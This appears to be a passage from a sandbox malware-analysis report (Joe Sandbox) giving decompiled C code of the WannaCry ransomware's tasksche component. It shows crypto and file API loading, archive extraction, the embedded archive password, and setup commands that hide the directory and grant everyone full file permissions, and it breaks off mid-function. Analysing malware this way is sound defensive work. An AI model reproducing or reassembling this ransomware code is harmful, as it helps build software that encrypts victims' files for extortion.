                                                                                          0x004018ca
                                                                                          0x004018ce
                                                                                          0x004018d3
                                                                                          0x004018d6
                                                                                          0x004018dc
                                                                                          0x004018dc
                                                                                          0x004018e0
                                                                                          0x004018e5
                                                                                          0x004018ea
                                                                                          0x004018f0
                                                                                          0x004018f0
                                                                                          0x004018f6
                                                                                          0x004018f8

                                                                                          APIs
                                                                                          • CryptReleaseContext.ADVAPI32(?,00000000,?,004013DB,?,?,?,0040139D,?,?,00401366), ref: 004018EA
                                                                                          Memory Dump Source
                                                                                          • Source File: 0000001D.00000002.346208341.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 0000001D.00000002.346184829.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346237406.0000000000408000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346252810.000000000040E000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346278616.0000000000410000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_29_2_400000_tasksche.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: ContextCryptRelease
                                                                                          • String ID:
                                                                                          • API String ID: 829835001-0
                                                                                          • Opcode ID: 5ecafc68ca33f8cfa3c4e9ed1ded46982a6db61dfcb788b9f393b121ae522fda
                                                                                          • Instruction ID: 2349b07d823645f04250185dd133334db1216db109592f97c32ed3e6f6040a2b
                                                                                          • Opcode Fuzzy Hash: 5ecafc68ca33f8cfa3c4e9ed1ded46982a6db61dfcb788b9f393b121ae522fda
                                                                                          • Instruction Fuzzy Hash: C7E0ED323147019BEB30AB65ED49B5373E8AF00762F04C83DB05AE6990CBB9E8448A58
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 0040170A Relevance: 28.1, APIs: 8, Strings: 8, Instructions: 65libraryloaderCOMMON
                                                                                          Download Yara Rule
                                                                                          C-Code - Quality: 100%
                                                                                          			E0040170A() {
				void* _t3;
				_Unknown_base(*)()* _t11;
				struct HINSTANCE__* _t13;
				intOrPtr _t18;
				intOrPtr _t20;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t23;
				intOrPtr _t24;
				intOrPtr _t25;

				if(E00401A45() == 0) {
					L11:
					return 0;
				}
				_t18 =  *0x40f878; // 0x0
				if(_t18 != 0) {
					L10:
					_t3 = 1;
					return _t3;
				}
				_t13 = LoadLibraryA("kernel32.dll");
				if(_t13 == 0) {
					goto L11;
				}
				 *0x40f878 = GetProcAddress(_t13, "CreateFileW");
				 *0x40f87c = GetProcAddress(_t13, "WriteFile");
				 *0x40f880 = GetProcAddress(_t13, "ReadFile");
				 *0x40f884 = GetProcAddress(_t13, "MoveFileW");
				 *0x40f888 = GetProcAddress(_t13, "MoveFileExW");
				 *0x40f88c = GetProcAddress(_t13, "DeleteFileW");
				_t11 = GetProcAddress(_t13, "CloseHandle");
				_t20 =  *0x40f878; // 0x0
				 *0x40f890 = _t11;
				if(_t20 == 0) {
					goto L11;
				}
				_t21 =  *0x40f87c; // 0x0
				if(_t21 == 0) {
					goto L11;
				}
				_t22 =  *0x40f880; // 0x0
				if(_t22 == 0) {
					goto L11;
				}
				_t23 =  *0x40f884; // 0x0
				if(_t23 == 0) {
					goto L11;
				}
				_t24 =  *0x40f888; // 0x0
				if(_t24 == 0) {
					goto L11;
				}
				_t25 =  *0x40f88c; // 0x0
				if(_t25 == 0 || _t11 == 0) {
					goto L11;
				} else {
					goto L10;
				}
			}













                                                                                          0x00401713
                                                                                          0x004017d8
                                                                                          0x00000000
                                                                                          0x004017d8
                                                                                          0x0040171b
                                                                                          0x00401721
                                                                                          0x004017d3
                                                                                          0x004017d5
                                                                                          0x00000000
                                                                                          0x004017d5
                                                                                          0x00401732
                                                                                          0x00401736
                                                                                          0x00000000
                                                                                          0x00000000
                                                                                          0x00401751
                                                                                          0x0040175e
                                                                                          0x0040176b
                                                                                          0x00401778
                                                                                          0x00401785
                                                                                          0x00401792
                                                                                          0x00401797
                                                                                          0x00401799
                                                                                          0x0040179f
                                                                                          0x004017a5
                                                                                          0x00000000
                                                                                          0x00000000
                                                                                          0x004017a7
                                                                                          0x004017ad
                                                                                          0x00000000
                                                                                          0x00000000
                                                                                          0x004017af
                                                                                          0x004017b5
                                                                                          0x00000000
                                                                                          0x00000000
                                                                                          0x004017b7
                                                                                          0x004017bd
                                                                                          0x00000000
                                                                                          0x00000000
                                                                                          0x004017bf
                                                                                          0x004017c5
                                                                                          0x00000000
                                                                                          0x00000000
                                                                                          0x004017c7
                                                                                          0x004017cd
                                                                                          0x00000000
                                                                                          0x00000000
                                                                                          0x00000000
                                                                                          0x00000000

                                                                                          APIs
                                                                                            • Part of subcall function 00401A45: LoadLibraryA.KERNEL32(advapi32.dll,?,?,00401711), ref: 00401A5A
                                                                                            • Part of subcall function 00401A45: GetProcAddress.KERNEL32(00000000,CryptAcquireContextA,?,?,?,00401711), ref: 00401A77
                                                                                            • Part of subcall function 00401A45: GetProcAddress.KERNEL32(00000000,CryptImportKey,?,?,?,00401711), ref: 00401A84
                                                                                            • Part of subcall function 00401A45: GetProcAddress.KERNEL32(00000000,CryptDestroyKey,?,?,?,00401711), ref: 00401A91
                                                                                            • Part of subcall function 00401A45: GetProcAddress.KERNEL32(00000000,CryptEncrypt,?,?,?,00401711), ref: 00401A9E
                                                                                            • Part of subcall function 00401A45: GetProcAddress.KERNEL32(00000000,CryptDecrypt,?,?,?,00401711), ref: 00401AAB
                                                                                            • Part of subcall function 00401A45: GetProcAddress.KERNEL32(00000000,CryptGenKey,?,?,?,00401711), ref: 00401AB8
                                                                                          • LoadLibraryA.KERNEL32(kernel32.dll), ref: 0040172C
                                                                                          • GetProcAddress.KERNEL32(00000000,CreateFileW), ref: 00401749
                                                                                          • GetProcAddress.KERNEL32(00000000,WriteFile), ref: 00401756
                                                                                          • GetProcAddress.KERNEL32(00000000,ReadFile), ref: 00401763
                                                                                          • GetProcAddress.KERNEL32(00000000,MoveFileW), ref: 00401770
                                                                                          • GetProcAddress.KERNEL32(00000000,MoveFileExW), ref: 0040177D
                                                                                          • GetProcAddress.KERNEL32(00000000,DeleteFileW), ref: 0040178A
                                                                                          • GetProcAddress.KERNEL32(00000000,CloseHandle), ref: 00401797
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 0000001D.00000002.346208341.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 0000001D.00000002.346184829.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346237406.0000000000408000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346252810.000000000040E000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346278616.0000000000410000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_29_2_400000_tasksche.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: AddressProc$LibraryLoad
                                                                                          • String ID: CloseHandle$CreateFileW$DeleteFileW$MoveFileExW$MoveFileW$ReadFile$WriteFile$kernel32.dll
                                                                                          • API String ID: 2238633743-1294736154
                                                                                          • Opcode ID: 39239a652de09aa7f9a0fc3aed99621d6525255b515761ed1c17c464bdaba5bf
                                                                                          • Instruction ID: c344c10c919c95db3ecd10b94979b50738023765c799e55a58251b06a1d00095
                                                                                          • Opcode Fuzzy Hash: 39239a652de09aa7f9a0fc3aed99621d6525255b515761ed1c17c464bdaba5bf
                                                                                          • Instruction Fuzzy Hash: D9118E729003059ACB30BF73AE84A577AF8A644751B64483FE501B3EF0D77894499E1E
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 00401A45 Relevance: 24.6, APIs: 7, Strings: 7, Instructions: 56libraryloaderCOMMON
                                                                                          Download Yara Rule
                                                                                          C-Code - Quality: 100%
                                                                                          			E00401A45() {
				void* _t1;
				_Unknown_base(*)()* _t9;
				struct HINSTANCE__* _t11;
				intOrPtr _t15;
				intOrPtr _t17;
				intOrPtr _t18;
				intOrPtr _t19;
				intOrPtr _t20;
				intOrPtr _t21;

				_t15 =  *0x40f894; // 0x0
				if(_t15 != 0) {
					L8:
					_t1 = 1;
					return _t1;
				}
				_t11 = LoadLibraryA("advapi32.dll");
				if(_t11 == 0) {
					L9:
					return 0;
				}
				 *0x40f894 = GetProcAddress(_t11, "CryptAcquireContextA");
				 *0x40f898 = GetProcAddress(_t11, "CryptImportKey");
				 *0x40f89c = GetProcAddress(_t11, "CryptDestroyKey");
				 *0x40f8a0 = GetProcAddress(_t11, "CryptEncrypt");
				 *0x40f8a4 = GetProcAddress(_t11, "CryptDecrypt");
				_t9 = GetProcAddress(_t11, "CryptGenKey");
				_t17 =  *0x40f894; // 0x0
				 *0x40f8a8 = _t9;
				if(_t17 == 0) {
					goto L9;
				}
				_t18 =  *0x40f898; // 0x0
				if(_t18 == 0) {
					goto L9;
				}
				_t19 =  *0x40f89c; // 0x0
				if(_t19 == 0) {
					goto L9;
				}
				_t20 =  *0x40f8a0; // 0x0
				if(_t20 == 0) {
					goto L9;
				}
				_t21 =  *0x40f8a4; // 0x0
				if(_t21 == 0 || _t9 == 0) {
					goto L9;
				} else {
					goto L8;
				}
			}












                                                                                          0x00401a48
                                                                                          0x00401a4f
                                                                                          0x00401aec
                                                                                          0x00401aee
                                                                                          0x00000000
                                                                                          0x00401aee
                                                                                          0x00401a60
                                                                                          0x00401a64
                                                                                          0x00401af1
                                                                                          0x00000000
                                                                                          0x00401af1
                                                                                          0x00401a7f
                                                                                          0x00401a8c
                                                                                          0x00401a99
                                                                                          0x00401aa6
                                                                                          0x00401ab3
                                                                                          0x00401ab8
                                                                                          0x00401aba
                                                                                          0x00401ac0
                                                                                          0x00401ac6
                                                                                          0x00000000
                                                                                          0x00000000
                                                                                          0x00401ac8
                                                                                          0x00401ace
                                                                                          0x00000000
                                                                                          0x00000000
                                                                                          0x00401ad0
                                                                                          0x00401ad6
                                                                                          0x00000000
                                                                                          0x00000000
                                                                                          0x00401ad8
                                                                                          0x00401ade
                                                                                          0x00000000
                                                                                          0x00000000
                                                                                          0x00401ae0
                                                                                          0x00401ae6
                                                                                          0x00000000
                                                                                          0x00000000
                                                                                          0x00000000
                                                                                          0x00000000

                                                                                          APIs
                                                                                          • LoadLibraryA.KERNEL32(advapi32.dll,?,?,00401711), ref: 00401A5A
                                                                                          • GetProcAddress.KERNEL32(00000000,CryptAcquireContextA,?,?,?,00401711), ref: 00401A77
                                                                                          • GetProcAddress.KERNEL32(00000000,CryptImportKey,?,?,?,00401711), ref: 00401A84
                                                                                          • GetProcAddress.KERNEL32(00000000,CryptDestroyKey,?,?,?,00401711), ref: 00401A91
                                                                                          • GetProcAddress.KERNEL32(00000000,CryptEncrypt,?,?,?,00401711), ref: 00401A9E
                                                                                          • GetProcAddress.KERNEL32(00000000,CryptDecrypt,?,?,?,00401711), ref: 00401AAB
                                                                                          • GetProcAddress.KERNEL32(00000000,CryptGenKey,?,?,?,00401711), ref: 00401AB8
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 0000001D.00000002.346208341.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 0000001D.00000002.346184829.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346237406.0000000000408000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346252810.000000000040E000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346278616.0000000000410000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_29_2_400000_tasksche.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: AddressProc$LibraryLoad
                                                                                          • String ID: CryptAcquireContextA$CryptDecrypt$CryptDestroyKey$CryptEncrypt$CryptGenKey$CryptImportKey$advapi32.dll
                                                                                          • API String ID: 2238633743-2459060434
                                                                                          • Opcode ID: b9d8274d123a30a539352919ce36730ce9328d7041a45cd95e79278e35d60e58
                                                                                          • Instruction ID: 9aae3444cc52ced5e7e1ad1d2a06d11cf911cb2b3a933a05a08c6ba10b936042
                                                                                          • Opcode Fuzzy Hash: b9d8274d123a30a539352919ce36730ce9328d7041a45cd95e79278e35d60e58
                                                                                          • Instruction Fuzzy Hash: 20011E32A86311EBDB30AFA5AE856677AE4EA41750368843FB104B2DB1D7F81448DE5C
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 00407136 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 272COMMON
                                                                                          Download Yara Rule
                                                                                          C-Code - Quality: 88%
                                                                                          			E00407136(intOrPtr* __ecx, void* __edx, void* _a4, char _a7, char* _a8, char _a11, signed int _a12, intOrPtr _a16) {
				long _v8;
				char _v267;
				char _v268;
				struct _FILETIME _v284;
				struct _FILETIME _v292;
				struct _FILETIME _v300;
				long _v304;
				char _v568;
				char _v828;
				intOrPtr _t78;
				intOrPtr _t89;
				intOrPtr _t91;
				intOrPtr _t96;
				intOrPtr _t97;
				char _t100;
				void* _t112;
				void* _t113;
				int _t124;
				long _t131;
				intOrPtr _t136;
				char* _t137;
				char* _t144;
				void* _t148;
				char* _t150;
				void* _t154;
				signed int _t155;
				long _t156;
				void* _t157;
				char* _t158;
				long _t159;
				intOrPtr* _t161;
				long _t162;
				void* _t163;
				void* _t164;

				_t154 = __edx;
				_t139 = __ecx;
				_t136 = _a16;
				_t161 = __ecx;
				if(_t136 == 3) {
					_t78 =  *((intOrPtr*)(__ecx + 4));
					_t155 = _a4;
					__eflags = _t155 - _t78;
					if(_t155 == _t78) {
						L14:
						_t156 = E00406880(_t139,  *_t161, _a8, _a12,  &_a7);
						__eflags = _t156;
						if(_t156 <= 0) {
							E00406A97( *_t161);
							_t14 = _t161 + 4;
							 *_t14 =  *(_t161 + 4) | 0xffffffff;
							__eflags =  *_t14;
						}
						__eflags = _a7;
						if(_a7 == 0) {
							__eflags = _t156;
							if(_t156 <= 0) {
								__eflags = _t156 - 0xffffff96;
								return ((0 | _t156 != 0xffffff96) - 0x00000001 & 0xfb001000) + 0x5000000;
							}
							return 0x600;
						} else {
							L17:
							return 0;
						}
					}
					__eflags = _t78 - 0xffffffff;
					if(_t78 != 0xffffffff) {
						E00406A97( *__ecx);
						_pop(_t139);
					}
					_t89 =  *_t161;
					 *(_t161 + 4) =  *(_t161 + 4) | 0xffffffff;
					__eflags = _t155 -  *((intOrPtr*)(_t89 + 4));
					if(_t155 >=  *((intOrPtr*)(_t89 + 4))) {
						L3:
						return 0x10000;
					} else {
						__eflags = _t155 -  *((intOrPtr*)(_t89 + 0x10));
						if(_t155 >=  *((intOrPtr*)(_t89 + 0x10))) {
							L11:
							_t91 =  *_t161;
							__eflags =  *((intOrPtr*)(_t91 + 0x10)) - _t155;
							if( *((intOrPtr*)(_t91 + 0x10)) >= _t155) {
								E0040671D(_t154,  *_t161,  *((intOrPtr*)(_t161 + 0x138)));
								 *(_t161 + 4) = _t155;
								_pop(_t139);
								goto L14;
							}
							E00406520(_t91);
							L10:
							goto L11;
						}
						E004064E2(_t139, _t89);
						goto L10;
					}
				}
				if(_t136 == 2 || _t136 == 1) {
					__eflags =  *(_t161 + 4) - 0xffffffff;
					if( *(_t161 + 4) != 0xffffffff) {
						E00406A97( *_t161);
						_pop(_t139);
					}
					_t96 =  *_t161;
					_t157 = _a4;
					 *(_t161 + 4) =  *(_t161 + 4) | 0xffffffff;
					__eflags = _t157 -  *((intOrPtr*)(_t96 + 4));
					if(_t157 >=  *((intOrPtr*)(_t96 + 4))) {
						goto L3;
					} else {
						__eflags = _t157 -  *((intOrPtr*)(_t96 + 0x10));
						if(_t157 >=  *((intOrPtr*)(_t96 + 0x10))) {
							L27:
							_t97 =  *_t161;
							__eflags =  *((intOrPtr*)(_t97 + 0x10)) - _t157;
							if( *((intOrPtr*)(_t97 + 0x10)) >= _t157) {
								E00406C40(_t161, _t154, _t157,  &_v568);
								__eflags = _v304 & 0x00000010;
								if((_v304 & 0x00000010) == 0) {
									__eflags = _t136 - 1;
									if(_t136 != 1) {
										_t158 = _a8;
										_t137 = _t158;
										_t144 = _t158;
										_t100 =  *_t158;
										while(1) {
											__eflags = _t100;
											if(_t100 == 0) {
												break;
											}
											__eflags = _t100 - 0x2f;
											if(_t100 == 0x2f) {
												L44:
												_t137 =  &(_t144[1]);
												L45:
												_t100 = _t144[1];
												_t144 =  &(_t144[1]);
												continue;
											}
											__eflags = _t100 - 0x5c;
											if(_t100 != 0x5c) {
												goto L45;
											}
											goto L44;
										}
										strcpy( &_v268, _t158);
										__eflags = _t137 - _t158;
										if(_t137 != _t158) {
											 *(_t163 + _t137 - _t158 - 0x108) =  *(_t163 + _t137 - _t158 - 0x108) & 0x00000000;
											__eflags = _v268 - 0x2f;
											if(_v268 == 0x2f) {
												L56:
												wsprintfA( &_v828, "%s%s",  &_v268, _t137);
												E00407070(0,  &_v268);
												_t164 = _t164 + 0x18;
												L49:
												__eflags = 0;
												_t112 = CreateFileA( &_v828, 0x40000000, 0, 0, 2, _v304, 0);
												L50:
												__eflags = _t112 - 0xffffffff;
												_a4 = _t112;
												if(_t112 != 0xffffffff) {
													_t113 = E0040671D(_t154,  *_t161,  *((intOrPtr*)(_t161 + 0x138)));
													__eflags =  *(_t161 + 0x13c);
													_pop(_t148);
													if( *(_t161 + 0x13c) == 0) {
														L00407700();
														_t148 = 0x4000;
														 *(_t161 + 0x13c) = _t113;
													}
													_t60 =  &_a12;
													 *_t60 = _a12 & 0x00000000;
													__eflags =  *_t60;
													while(1) {
														_t159 = E00406880(_t148,  *_t161,  *(_t161 + 0x13c), 0x4000,  &_a11);
														_t164 = _t164 + 0x10;
														__eflags = _t159 - 0xffffff96;
														if(_t159 == 0xffffff96) {
															break;
														}
														__eflags = _t159;
														if(__eflags < 0) {
															L68:
															_a12 = 0x5000000;
															L71:
															__eflags = _a16 - 1;
															if(_a16 != 1) {
																CloseHandle(_a4);
															}
															E00406A97( *_t161);
															return _a12;
														}
														if(__eflags <= 0) {
															L64:
															__eflags = _a11;
															if(_a11 != 0) {
																SetFileTime(_a4,  &_v292,  &_v300,  &_v284);
																goto L71;
															}
															__eflags = _t159;
															if(_t159 == 0) {
																goto L68;
															}
															continue;
														}
														_t124 = WriteFile(_a4,  *(_t161 + 0x13c), _t159,  &_v8, 0);
														__eflags = _t124;
														if(_t124 == 0) {
															_a12 = 0x400;
															goto L71;
														}
														goto L64;
													}
													_a12 = 0x1000;
													goto L71;
												}
												return 0x200;
											}
											__eflags = _v268 - 0x5c;
											if(_v268 == 0x5c) {
												goto L56;
											}
											__eflags = _v268;
											if(_v268 == 0) {
												L48:
												_t160 = _t161 + 0x140;
												wsprintfA( &_v828, "%s%s%s", _t161 + 0x140,  &_v268, _t137);
												E00407070(_t160,  &_v268);
												_t164 = _t164 + 0x1c;
												goto L49;
											}
											__eflags = _v267 - 0x3a;
											if(_v267 != 0x3a) {
												goto L48;
											}
											goto L56;
										}
										_t37 =  &_v268;
										 *_t37 = _v268 & 0x00000000;
										__eflags =  *_t37;
										goto L48;
									}
									_t112 = _a8;
									goto L50;
								}
								__eflags = _t136 - 1;
								if(_t136 == 1) {
									goto L17;
								}
								_t150 = _a8;
								_t131 =  *_t150;
								__eflags = _t131 - 0x2f;
								if(_t131 == 0x2f) {
									L35:
									_push(_t150);
									_push(0);
									L37:
									E00407070();
									goto L17;
								}
								__eflags = _t131 - 0x5c;
								if(_t131 == 0x5c) {
									goto L35;
								}
								__eflags = _t131;
								if(_t131 == 0) {
									L36:
									_t162 = _t161 + 0x140;
									__eflags = _t162;
									_push(_t150);
									_push(_t162);
									goto L37;
								}
								__eflags = _t150[1] - 0x3a;
								if(_t150[1] != 0x3a) {
									goto L36;
								}
								goto L35;
							}
							E00406520(_t97);
							L26:
							goto L27;
						}
						E004064E2(_t139, _t96);
						goto L26;
					}
				} else {
					goto L3;
				}
			}





































                                                                                          0x00407136
                                                                                          0x00407136
                                                                                          0x00407140
                                                                                          0x00407148
                                                                                          0x0040714a
                                                                                          0x00407168
                                                                                          0x0040716b
                                                                                          0x0040716e
                                                                                          0x00407170
                                                                                          0x004071b7
                                                                                          0x004071c8
                                                                                          0x004071cd
                                                                                          0x004071cf
                                                                                          0x004071d3
                                                                                          0x004071d8
                                                                                          0x004071d8
                                                                                          0x004071d8
                                                                                          0x004071dc
                                                                                          0x004071dd
                                                                                          0x004071e1
                                                                                          0x004071ea
                                                                                          0x004071ec
                                                                                          0x004071fa
                                                                                          0x00000000
                                                                                          0x00407206
                                                                                          0x00000000
                                                                                          0x004071e3
                                                                                          0x004071e3
                                                                                          0x00000000
                                                                                          0x004071e3
                                                                                          0x004071e1
                                                                                          0x00407172
                                                                                          0x00407175
                                                                                          0x00407179
                                                                                          0x0040717e
                                                                                          0x0040717e
                                                                                          0x0040717f
                                                                                          0x00407181
                                                                                          0x00407185
                                                                                          0x00407188
                                                                                          0x0040715e
                                                                                          0x00000000
                                                                                          0x0040718a
                                                                                          0x0040718a
                                                                                          0x0040718d
                                                                                          0x00407196
                                                                                          0x00407196
                                                                                          0x00407198
                                                                                          0x0040719b
                                                                                          0x004071ad
                                                                                          0x004071b3
                                                                                          0x004071b6
                                                                                          0x00000000
                                                                                          0x004071b6
                                                                                          0x0040719e
                                                                                          0x00407195
                                                                                          0x00000000
                                                                                          0x00407195
                                                                                          0x00407190
                                                                                          0x00000000
                                                                                          0x00407190
                                                                                          0x00407188
                                                                                          0x0040714f
                                                                                          0x00407210
                                                                                          0x00407214
                                                                                          0x00407218
                                                                                          0x0040721d
                                                                                          0x0040721d
                                                                                          0x0040721e
                                                                                          0x00407220
                                                                                          0x00407223
                                                                                          0x00407227
                                                                                          0x0040722a
                                                                                          0x00000000
                                                                                          0x00407230
                                                                                          0x00407230
                                                                                          0x00407233
                                                                                          0x0040723c
                                                                                          0x0040723c
                                                                                          0x0040723e
                                                                                          0x00407241
                                                                                          0x00407255
                                                                                          0x0040725a
                                                                                          0x00407261
                                                                                          0x0040729c
                                                                                          0x0040729f
                                                                                          0x004072a9
                                                                                          0x004072ac
                                                                                          0x004072ae
                                                                                          0x004072b0
                                                                                          0x004072b2
                                                                                          0x004072b2
                                                                                          0x004072b4
                                                                                          0x00000000
                                                                                          0x00000000
                                                                                          0x004072b6
                                                                                          0x004072b8
                                                                                          0x004072be
                                                                                          0x004072be
                                                                                          0x004072c1
                                                                                          0x004072c1
                                                                                          0x004072c4
                                                                                          0x00000000
                                                                                          0x004072c4
                                                                                          0x004072ba
                                                                                          0x004072bc
                                                                                          0x00000000
                                                                                          0x00000000
                                                                                          0x00000000
                                                                                          0x004072bc
                                                                                          0x004072cf
                                                                                          0x004072d5
                                                                                          0x004072d8
                                                                                          0x00407347
                                                                                          0x0040734f
                                                                                          0x00407356
                                                                                          0x0040737b
                                                                                          0x0040738f
                                                                                          0x0040739e
                                                                                          0x004073a3
                                                                                          0x00407312
                                                                                          0x00407312
                                                                                          0x0040732b
                                                                                          0x00407331
                                                                                          0x00407331
                                                                                          0x00407334
                                                                                          0x00407337
                                                                                          0x004073b3
                                                                                          0x004073b8
                                                                                          0x004073c0
                                                                                          0x004073c6
                                                                                          0x004073c9
                                                                                          0x004073ce
                                                                                          0x004073cf
                                                                                          0x004073cf
                                                                                          0x004073d5
                                                                                          0x004073d5
                                                                                          0x004073d5
                                                                                          0x004073d9
                                                                                          0x004073eb
                                                                                          0x004073ed
                                                                                          0x004073f0
                                                                                          0x004073f3
                                                                                          0x00000000
                                                                                          0x00000000
                                                                                          0x004073f5
                                                                                          0x004073f7
                                                                                          0x0040742a
                                                                                          0x0040742a
                                                                                          0x0040745a
                                                                                          0x0040745a
                                                                                          0x0040745e
                                                                                          0x00407463
                                                                                          0x00407463
                                                                                          0x0040746b
                                                                                          0x00000000
                                                                                          0x00407473
                                                                                          0x004073f9
                                                                                          0x00407415
                                                                                          0x00407415
                                                                                          0x00407419
                                                                                          0x00407454
                                                                                          0x00000000
                                                                                          0x00407454
                                                                                          0x0040741b
                                                                                          0x0040741d
                                                                                          0x00000000
                                                                                          0x00000000
                                                                                          0x00000000
                                                                                          0x0040741f
                                                                                          0x0040740b
                                                                                          0x00407411
                                                                                          0x00407413
                                                                                          0x00407433
                                                                                          0x00000000
                                                                                          0x00407433
                                                                                          0x00000000
                                                                                          0x00407413
                                                                                          0x00407421
                                                                                          0x00000000
                                                                                          0x00407421
                                                                                          0x00000000
                                                                                          0x00407339
                                                                                          0x00407358
                                                                                          0x0040735f
                                                                                          0x00000000
                                                                                          0x00000000
                                                                                          0x00407361
                                                                                          0x00407368
                                                                                          0x004072e1
                                                                                          0x004072e7
                                                                                          0x004072fc
                                                                                          0x0040730a
                                                                                          0x0040730f
                                                                                          0x00000000
                                                                                          0x0040730f
                                                                                          0x0040736e
                                                                                          0x00407375
                                                                                          0x00000000
                                                                                          0x00000000
                                                                                          0x00000000
                                                                                          0x00407375
                                                                                          0x004072da
                                                                                          0x004072da
                                                                                          0x004072da
                                                                                          0x00000000
                                                                                          0x004072da
                                                                                          0x004072a1
                                                                                          0x00000000
                                                                                          0x004072a1
                                                                                          0x00407263
                                                                                          0x00407266
                                                                                          0x00000000
                                                                                          0x00000000
                                                                                          0x0040726c
                                                                                          0x0040726f
                                                                                          0x00407271
                                                                                          0x00407273
                                                                                          0x00407283
                                                                                          0x00407283
                                                                                          0x00407284
                                                                                          0x00407290
                                                                                          0x00407290
                                                                                          0x00000000
                                                                                          0x00407296
                                                                                          0x00407275
                                                                                          0x00407277
                                                                                          0x00000000
                                                                                          0x00000000
                                                                                          0x00407279
                                                                                          0x0040727b
                                                                                          0x00407288
                                                                                          0x00407288
                                                                                          0x00407288
                                                                                          0x0040728e
                                                                                          0x0040728f
                                                                                          0x00000000
                                                                                          0x0040728f
                                                                                          0x0040727d
                                                                                          0x00407281
                                                                                          0x00000000
                                                                                          0x00000000
                                                                                          0x00000000
                                                                                          0x00407281
                                                                                          0x00407244
                                                                                          0x0040723b
                                                                                          0x00000000
                                                                                          0x0040723b
                                                                                          0x00407236
                                                                                          0x00000000
                                                                                          0x00407236
                                                                                          0x00000000
                                                                                          0x00000000
                                                                                          0x00000000

                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 0000001D.00000002.346208341.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 0000001D.00000002.346184829.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346237406.0000000000408000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346252810.000000000040E000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346278616.0000000000410000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_29_2_400000_tasksche.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID: %s%s$%s%s%s$:$\
                                                                                          • API String ID: 0-1100577047
                                                                                          • Opcode ID: fa5f8851d26bf09fdef4e4f1c55e900ad1a47778409aa7a1c0108d1ccba85c9d
                                                                                          • Instruction ID: 622825bbce38b7500016b977d00db7372d85e5c8e1565b3adbba59f792ee02a2
                                                                                          • Opcode Fuzzy Hash: fa5f8851d26bf09fdef4e4f1c55e900ad1a47778409aa7a1c0108d1ccba85c9d
                                                                                          • Instruction Fuzzy Hash: 42A12A31C082049BDB319F14CC44BEA7BA9AB01314F2445BFF895B62D1D73DBA95CB5A
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 0040203B Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 106stringfileCOMMON
                                                                                          Download Yara Rule
                                                                                          C-Code - Quality: 77%
                                                                                          			E0040203B(intOrPtr* __eax, void* __edi) {
				void* _t25;
				intOrPtr* _t33;
				int _t42;
				CHAR* _t63;
				void* _t64;
				char** _t66;

				__imp____p___argv();
				if(strcmp( *( *__eax + 4), "/i") != 0 || E00401B5F(_t42) == 0) {
					L4:
					if(strrchr(_t64 - 0x20c, 0x5c) != 0) {
						 *(strrchr(_t64 - 0x20c, 0x5c)) = _t42;
					}
					SetCurrentDirectoryA(_t64 - 0x20c);
					E004010FD(1);
					 *_t66 = "WNcry@2ol7";
					_push(_t42);
					L00401DAB();
					E00401E9E();
					E00401064("attrib +h .", _t42, _t42);
					E00401064("icacls . /grant Everyone:F /T /C /Q", _t42, _t42);
					_t25 = E0040170A();
					_t74 = _t25;
					if(_t25 != 0) {
						E004012FD(_t64 - 0x6e4, _t74);
						if(E00401437(_t64 - 0x6e4, _t42, _t42, _t42) != 0) {
							 *(_t64 - 4) = _t42;
							if(E004014A6(_t64 - 0x6e4, "t.wnry", _t64 - 4) != _t42 && E004021BD(_t31,  *(_t64 - 4)) != _t42) {
								_t33 = E00402924(_t32, "TaskStart");
								_t78 = _t33 - _t42;
								if(_t33 != _t42) {
									 *_t33(_t42, _t42);
								}
							}
						}
						E0040137A(_t64 - 0x6e4, _t78);
					}
					goto L13;
				} else {
